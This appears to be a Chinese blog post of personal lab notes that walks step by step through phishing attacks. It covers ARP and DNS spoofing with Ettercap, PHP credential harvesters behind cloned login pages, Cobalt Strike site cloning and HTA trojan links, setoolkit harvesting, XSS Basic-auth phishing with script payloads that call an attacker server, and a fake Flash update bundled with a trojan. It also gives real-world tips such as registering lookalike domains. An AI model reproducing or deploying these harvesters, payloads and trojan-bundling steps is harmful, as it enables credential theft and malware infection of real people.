最近学习xss,对于xss钓鱼的理解不是很深入,所以学习了几篇钓鱼有关的文章,这里算是自己的总结以加深自己的印象,参考了不少的文章,在此感谢前辈们的探索和指教!
DNS欺骗钓鱼
定义
DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 ——百度百科
原理
如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。 ——百度百科
如果要冒充域名服务器,就要拦截请求,就要用到ARP欺骗,原理图如下:
实验环境
Kali Rolling (2020.2a) x64(192.168.1.106)
win10(受害人,192.168.1.102)
步骤
1. ARP中间人攻击
Kali设置为桥接模式,利用Kali中的Ettercap
工具,选择图形化界面的那个
一开始可以不用嗅探,确定目标后再开始,这里选择那块连接在局域网内的网卡eth0
,然后点击上方的√
这两个按钮是搜索
和列出
局域网中的主机
搜索中和搜索结果
将网关(192.168.1.1)加入到Target1,将win10加入到Target2
我们可以查看Target列表
ARP Poisoning…
图中像地球一样的图标是MITM(Man-In-The-Middle Attck,中间人攻击)菜单,具体的功能大家自己学习,它旁边的那个多边形是停止中间人攻击的意思
我们这里选择默认即可,那么only poision oneway 和 sniff remote connection有什么区别呢?可以参考
https://blog.csdn.net/lixiangminghate/article/details/86415660
回到win10查看ARP缓存表
可以看到,这里网关的MAC和Kali的MAC地址相同,这是eth0的MAC地址,通过ARP欺骗后,所有发向网关的数据包都会发向Kali,这样我们就可以利用Kali伪装DNS服务器发送虚假的DNS应答,让win10在解析目的域名时得到错误的IP,即虚假的登录网站IP
本过程中一直没有点击左上角三角形按钮(Starting Unified sniffing…),嗅探(Sniffers)指接收局域网中计算机发出的数据包,并对这些数据进行分析,所以我们在ARP Poisoning之前可以不用点击,在DNS Spoof(DNS欺骗)的时候需要对数据包进行分析
2.部署钓鱼网站
我们需要事先准备好目标网站的代码,并且打开虚假服务器的HTTP服务。下面我们展示如何克隆一个网站
网站克隆
- 在IE/Edge等浏览器中,我们可以
Ctrl+s
保存全部页面
但是某些网站可能有防御这种保存的机制,保存下来的网页可能样式不全,我们可以使用下面的工具,但工具可能被封IP,别问我怎么知道的。。。
部署钓鱼站点
首先我们需要将钓鱼网站的源码放到Apache的根目录下
然后我们需要对站点加工,以收集用户信息,这里收集用户信息有两种方式:
第一种:将获得账户密码写入到根目录下的1.txt中
<?php
var_dump($_REQUEST);
$nma = stripslashes($_REQUEST['username']);
$pas = stripslashes($_REQUEST['password']);
//接收数据,stripslashes是抽取表单值的函数
$content = "您已捕获账号:".$nma." 密码:".$pas;
echo $content;
$filed = @fopen("./1.txt", "a+");
//向笔记本中写入数据,‘a+’是指针,将光标定位到最后追加一行
@fwrite($filed,"$content\n");
?>
<!--下面是返回到原来页面的代码-->
<html>
<head>
<script type="text/javascript">
function goBack(){
window.history.back();
}
</script>
</head>
<body onlaod="goBack()"></body>>
</html>
第二种:将获得账户密码写入到MySQL数据库中
<?php
echo "<meta charset='utf-8'>";
//接收数据
$username = $_POST['username'];
$password = $_POST['password'];
$time = time();
//连接数据库
$pdo = new PDO('mysql:dbname=diaoyu','root','root');
//执行SQL语句插入数据,成功则返回受影响的行数;失败返回false
$rs = $pdo->exec("insert into diaoyu values(null,'$username','$password',$time)");
if($rs){
echo "<script>alert('登录成功')';location.href='跳转网址';</script>";
}else{
echo "<script>alert('登录失败');location.href='跳转网址';</script>";
}
?>
//将数据成功插入到数据库中后可以跳转到真正的登录页面,失败了可以返回刚才的页面,如 location.href=window.history.back();
第二种方式我们需要提前创建库和表,例如:
create database diaoyu;
create table diaoyu(
id int(10) unsigned not null auto_increment comment 'id',
name varchar(100) not null default '' comment 'name',
password varchar(100) not null default '' comment 'passwrod',
time int(10) not null default 0 comment '时间',
primary key (id)
)engine=InnoDB default charset=utf8 comment='测试表';
其中,这两种方式接收到的参数中,用户名的name
属性值都是username
,密码password
的属性值都是password
,我们可以通过在浏览器中右键检查
,然后通过选择器查看这些input标签来修改上述php代码
假设我们采用第一种方式,则需要在根下创建一个error.php,名字是我随便起的,然后修改网站源码中,form表单的action属性的的属性值,我们可以通过Ctrl+F
搜索<form
然后进行
关于form表单中的target和action的区别可以查看这一篇博客
如果采用第一种方式记录代码,也就是在根下创建记事本1.txt,我们需要通过如下命令修改1.txt的权限,以保证Apache可以对其进行写入
操作
sudo chmod 777 1.txt
打开Apache服务
sudo systemctl start apache2
sudo systemctl status apache2 //查看apache2服务状态
由于Kali是基于Debian的,所以开启Apache服务和Ubuntu系统相同,但是CentOS和RedHat系列有另外的命令,可以参考 https://ywnz.com/linuxyffq/6047.html
这时我们可以在kali中查看开放的端口号,并且在win10中访问进行验证
ss -antpl
netstat -antupl
netstat
在windows中也可以用,可以参考 https://www.cnblogs.com/music-liang/p/11912928.html ,cmd中查看其帮助
netstat /?
3.伪装DNS服务器
配置Ettercap的DNS配置文件
vim /etc/ettercap/etter.dns
这里需要一点vim编辑器
的知识,我们要在这里面找个位置添加这样两条记录
www.xxx.edu A 192.168.1.106
www.xxx.edu PTR 192.168.1.106
或者
* A 192.168.1.106
* PTR 192.168.1.106
*
代表任意网址,192.168.1.106是伪造的DNS服务器的IP
保存时如果使用wq!
提示E212:无法打开并写入文件
,可以使用如下命令
:w ! sudo tee %
:q!
输入完第一条,回车,接着输入第二条,回车,就会保存好,不要管什么提示,输完第一条Kali可能要求输入密码,输入就行,输入完再输第二条
到这时如果我们进行下一步DNS Spoof(DNS欺骗),win10(受害者)在解析www.xxx.edu
时就会得到虚假网站(也是搭建在kali中)的IP地址(192.168.1.106),就会访问这个虚假网站
DNS Spoof
然后双击dns_spoof
最后点击左上角Start Sniffing
我们可以查看ettercap软件下方的提示信息来观察操作的反馈,
然后我们通过浏览器访问 www.xxx.edu ,发现来到了钓鱼网站,然后我们输入账密,点击登录,发现跳转回登陆页面
我们查看捕获的密码
9H3d8CLUaPr7aFdSm/+APhmxm48CJttkT4druCimT6bVhvUnPECBHfSg9gWa/jWN1kiH+1+y75KUAnXE3hGpEqjy1P9vyQx+RdjyDmCipJY=
猜测可能是base64编码过,但是到解密网站 www.cmd5.com中解不开
审计一波源码
<div class="password item">
<span class="prex-icon"><img src="./统一身份认证平台_files/pass1.png" class="login-icon"></span>
<input type="password" id="password" placeholder="请输入密码" name="password" value="">
<input type="hidden" id="saltPassword" name="password"> //salt
是盐值,用来防御撞库攻击,这里就不说了,因为我也不太明白。。我只知道linux中保存用户密码时前面就有salt值,不过那个是用$符号分隔的
<a class="input_eye suffix-icon eyehide"></a>
</div>
到这就算完成了DNS欺骗钓鱼
Cobalt Strike钓鱼攻击
关于CS的使用
https://blog.csdn.net/weixin_44677409/article/details/102725129https://blog.csdn.net/weixin_44677409/article/details/102725418?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-15.baidujs&dist_request_id=1619699165537_96530&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-15.baidujs
下载地址 https://www.cobaltstrike.com/ ;kali自带
帮助手册 https://www.cobaltstrike.com/help-malleable-c2
这里可能有一些步骤和上面的教程中重合,就算是自己复习一下。CS钓鱼有多种形式,比如站点克隆
、目标信息获取
、java执行
、浏览器自动攻击
、host文件下载
、邮件钓鱼
等等,我们这里也要分情况来说
实验环境
CS teamserver:Kali Rolling (2020.2a) x64(192.168.1.106)
win10(CS客户端;受害人,192.168.1.102)
笔记本配置有限,再开一台虚拟机就GG了
CS钓鱼之目标信息获取System Profiler
实验步骤
1.CS上线
在kali中开启服务端
sudo ./teamserver [团队服务器IP] [密码]
使用CS客户端连接服务端
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
2.创建钓鱼链接
我使用的是中文版,英文版对应选项即可。System Profiler是客户端侦查工具,它查找用户使用的常见应用程序(带有版本号)。
Applet 是一种 Java 程序。它一般运行在支持 Java 的 Web 浏览器内。因为它有完整的 Java API支持,所以Applet 是一个全功能的 Java 应用程序。———Java Applet 基础|菜鸟教程
点击确认后出现下面的弹框,只要复制其中的URL让受害者访问即可
我们可以查看服务器的web服务情况
这里我们可以在80端口创建多个钓鱼链接,只要路径Local URL
不同就行,或者端口不同,二者相同的链接会报错
3.靶机访问钓鱼链接
我们通过win10访问一下这个链接,发现会跳转到 https://miyimiyi.xyz ,回到CS查看我们获取的信息
思路是该模块可以修改,利用溢出代码等形式提权或者获得更多的信息收集 ——渗透地基钓鱼篇-Cobalt Strike钓鱼
CS钓鱼之网站克隆Clone Site
实验步骤
1.CS上线(略)
2.创建钓鱼链接
网站克隆程序复制网站并修复代码,以便加载图像。 您可以向克隆的站点添加漏洞利用或捕获访问者提交的数据
我们先不用Attack
字段,点击Clone
后复制URL
3.靶机访问钓鱼链接
通过win10访问
发现和真实页面基本一样,我们输入账号密码,发现会跳转到真实的登录页面并且CS中有键盘记录
跳转到真实页面不一定会成功,通过设置我们可以主动跳转到真实页面,或任意页面。下面我们演示如何实现跳转到任意页面
4.点击提交后跳转到任意页面
我们需要先通过System Profiler创建一个能够跳转到任意页面的profiler(探查器),现实中我们需要跳转到真实页面,这里为了演示可以跳转到任意页面,我们创建如下所示的profiler,创建步骤同实验一
然后我们在创建克隆的时候,在Attack处选择刚才创建的这个探测器Profiler
我们通过win10访问 http://192.168.1.106:80/mail ,输入账密后,跳转到了真实的登录页面,并没有跳转到 miyimiyi.xyz ,研究了半天也没有。。。,后续补充吧
CS钓鱼之网页挂马
实验步骤
1.制作木马
HTML应用HTML Application生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件。 ——CS学习笔记合集
Listener处选择我们开始创建的一个Listener,实现hta木马的方法选择PowerShell,exe和VBA好像不是很好用。
保存在桌面就可以
2.创建下载的木马的链接
或者点击上面的链接
符号
然后选择我们刚才创建的木马
这里国光大大有一篇为 Cobalt Strike exe 木马添加图标 ,但hta木马添加图标好像还是很麻烦的,参考这个 https://bbs.csdn.net/topics/310066320 ,这里就先不伪装了
点击Launch
后我们就会获得一个下载hta木马的链接
然后我们可以通过浏览器直接访问这个链接并且根据提示下载和运行木马
也可以通过第二个实验克隆网站,在Attack
处添加这个链接
然后我们访问这个克隆的网站,刚进去就提示下载了
CS钓鱼之钓鱼邮件
实验步骤
1.制作宏病毒
2.克隆网站
3.发送钓鱼邮件
官方介绍
这里我们需要一个SMTP邮件服务器,关于SMTP邮件服务器。
调试了好久没成功。。以后再说吧
setoolkit钓鱼
实验环境
server:Kali Rolling (2020.2a) x64(192.168.1.103)
win10(受害人,192.168.1.102)
实验原理
假设目标网站存在 httppnly 的话,我们拿到的 cookie 信息也是不完整的,所以传统的思路是行不通的,所以使用Kali Linux 里面的 set 社工工程学工具包来进行钓鱼。 ——xss攻击思路总结
实验步骤
1.制作钓鱼网站
在Kali中输入如下命令,启动set工具
sudo setoolkit
选择第一个"社会工程学攻击"
选择第二个"网站攻击载荷"
选择第三个"凭证收集器攻击方法"
选项一是set工具自带的钓鱼网站模板,选项二时克隆一个网站,我们先选择2)Web Templates
这里询问接收POST响应的收集器地址,默认是本机地址,我们直接回车即可
输入要预测的网站
克隆成功,我们访问刚才设置的IP地址的80端口:
输入账号密码,提交后发现会跳转到正常页面,回到Kali中查看,发现已经记录到账密
我们可以尝试一下set中自带的模板
我们选择2.Google
我们发现来到了谷歌的登录界面
演示完毕
XSS钓鱼之Basic认证
实验环境
server:win2008 R2(192.168.1.105)+ PHPStudy 2016(PHP 5.4.45)
win10(受害人,192.168.1.102)
Pikachu靶场(下载及安装可以参考之前的文章pikachu靶场通关笔记之SQL-Inject)
实验原理
我们在一个有XSS漏洞的的页面嵌入恶意的XSS代码,当有用户访问这个页面时,页面就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部,这时候受害者浏览器内会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码,这里我们借助Pikachu平台
——Pikachu漏洞练习平台实验——XSS(二)
说白了,XSS钓鱼就是通过网页中嵌入的XSS代码向攻击者服务器中发出请求从而加载JS代码来实现一些功能,如果记录经纬度、cookie等等
实验步骤
1.配置钓鱼网站后台
在管理工具中找到XSS平台,这个平台相当于攻击者的服务器,用来存储XSS代码以及收集信息
默认账号密码是[admin/123456]
可以看到有三个功能模块,这里展示的是实验结果,我们一会要查看的是中间的钓鱼结果
。
查看Pikachu靶场源码,pkxss
这个文件中就存放着上面三个功能模块的源码
打开xfish
,这个文件中存放着XSS钓鱼的服务端代码
进行一波代码审计👇👇👇
D:\phpStudy\WWW\pikachu-master\pkxss\xfish\fish.php
<?php
error_reporting(0); // 关闭错误报告
//var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8'); //header() 函数向客户端发送原始的 HTTP 报头 https://www.w3school.com.cn/php/func_http_header.asp
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://192.168.1.105/pikachu-master/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
D:\phpStudy\WWW\pikachu-master\pkxss\xfish\xfish.php
<?php
error_reporting(0); // 关闭错误报告
include_once '../inc/config.inc.php'; //包含关于数据库配置的文件
include_once '../inc/mysql.inc.php'; //包含关于数据库连接的文件
$link=connect();
var_dump($_SERVER);
//获得fish.php页面返回的数据包中的参数并且插入到数据库中
if(!empty($_GET['username']) && !empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);
}
?>
D:\phpStudy\WWW\pikachu-master\pkxss\xfish\pkxss_fish_result.php
<?php
error_reporting(0);
include_once '../inc/config.inc.php'; //包含关于数据库配置的文件
include_once '../inc/mysql.inc.php'; //包含关于数据库连接的文件
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_login($link)){
header("location:../pkxss_login.php");
}
//下面是删除模块
if(isset($_GET['id']) && is_numeric($_GET['id'])){
$id=escape($link, $_GET['id']);
$query="delete from fish where id=$id";
execute($link, $query);
}
?>
//下面展示钓鱼结果
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
<table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
<tr>
<td class="1">id</td>
<td class="1">time</td>
<td class="1">username</td>
<td class="1">password</td>
<td class="2">referer</td>
<td class="2">操作</td>
</tr>
<?php
$query="select * from fish";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td class="1">{$data['id']}</td>
<td class="1">{$data['time']}</td>
<td class="1">{$data['username']}</td>
<td class="1">{$data['password']}</td>
<td class="2">{$data['referer']}</td>
<td><a href="pkxss_fish_result.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
</table>
</div>
</body>
</html>
所以我们只要通过XSS让网页向fish发出请求就可以,构造Payload入下
<script src="http://192.168.1.105/pikachu-master/pkxss/xfish/fish.php"></script>
将这个Payload插入到某一个存在存储型XSS漏洞的网页中,我们以Pikachu靶场自带的存储型XSS靶场为例
IE浏览器中出现弹框
输入账密后在Pikachu的XSS平台中可以看到结果
XSS钓鱼之Beef钓鱼
参考之前的文章 https://miyimiyi.xyz/archives/beef
除了在留言板中写入hook.js的XSS Payload外,还可以挂到克隆的网页上
XSS钓鱼之Flash钓鱼
实验环境
CS teamserver:Kali Rolling (2020.2a) x64(192.168.1.104)
CS Client:win10(;受害人,192.168.1.102)
Pikachu靶场:win2008 R2(192.168.1.105)
XSS平台:https://xss.pt
实验步骤
1.在Kali中搭建虚假Flash官网
现实中,我们可以购买一个和Flash相类似的域名比如fiash.cn
来绑定我们的服务器,实验中我们利用Kali来搭建Flash官网。
将源码adobe-flash-phishing-page-master
放置到kali的/var/www/html/
下,然后开启Apache服务
sudo systemctl start apache2
真实机访问一下kali的IP
2.在XSS平台上创建flash更新提示弹框
模块
我们可以将version.js直接放到网站文件中,利用XSS代码
<script src="http://192.168.1.103/version.js"></script>
访问,我们也可以利用公益的XSS平台,制作过程如下:
首先需要创建一个flash钓鱼弹窗
模块
然后创建一个项目flash钓鱼弹框
,当有鱼上钩时我们可以在项目中看到它,我们在这个项目中选择刚才配置的弹窗模块
创建完项目后我们选择查看代码
这个页面中都是XSS代码,我们只要把这些当中的一条写入留言板即可
我们可以使用这一条
<sCRiPt sRC=https://xss.pt/1sbP></sCrIpT>
3.利用CS或者MSF创建远程马
第二天打开kali发现地址换成192.168.1.104
,需要修改一下前面的XSS平台模块代码最后的window.location
的地址,木马也得重做,但是监听器的地址要改为kali现在的IP,同时端口不能为80,因为80被Apache服务占用。
Cobalt Strike创建远程马
详见上面的实验CS钓鱼之网页挂马
,我们只要制作好木马就行了,hta
和exe
的应该都可以
4.将远程马和Flash捆绑
这里我们参考这个大大的文章Xss之Flash钓鱼 中将远程马和Flash软件进行捆绑,捆绑的过程中有一点需要注意,这个解压后运行
需要填写我们捆版的木马和Falsh安装包的名字
然后根据国光大大这篇文章为 Cobalt Strike exe 木马添加图标,最后我们可以得到一个Flash图标的flash.exe
然后我们需要将这个捆绑后的文件挂载到网页上,就是上面的实验CS钓鱼之网页挂马
的后续步骤
然后我们需要修改钓鱼网页的源码,将下载
所在标签的href
的值改为挂载木马得到的链接(上图)
cd /var/www/html
vim index.html
如果最后用:wq!
命令报错,前面的实验说过这个问题,只要连续用如下两个命令就行,中间可能需要输入一次kali的密码
:w ! sudo tee %
:q!
5.插入XSS代码
将第二步中XSS平台生成的Payload插入到Pikachu留言板中
<sCRiPt sRC=https://xss.pt/1sbP></sCrIpT>
点击确定
后跳转到挂马的假的Flash官网
改进后的代码,大家自己尝试
if (confirm( "您的FLASH版本过低,尝试升级后访问该页面! ")) {
window.confirm = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
window.location.href="http://192.168.1.104/";
}else{
window.location.history.back();
}
6.下载运行木马,钓鱼成功
运行flash.exe后,会同时运行hta木马和Flash安装程序
所谓钓鱼,就是诱导受害者主动(点击一个URL)或被动(浏览留言板等)运行一段JS代码或者下载一个木马从而使攻击者获得受害者的某些信息(Cookie或者键盘记录等等)或者获得受害者主机的控制权。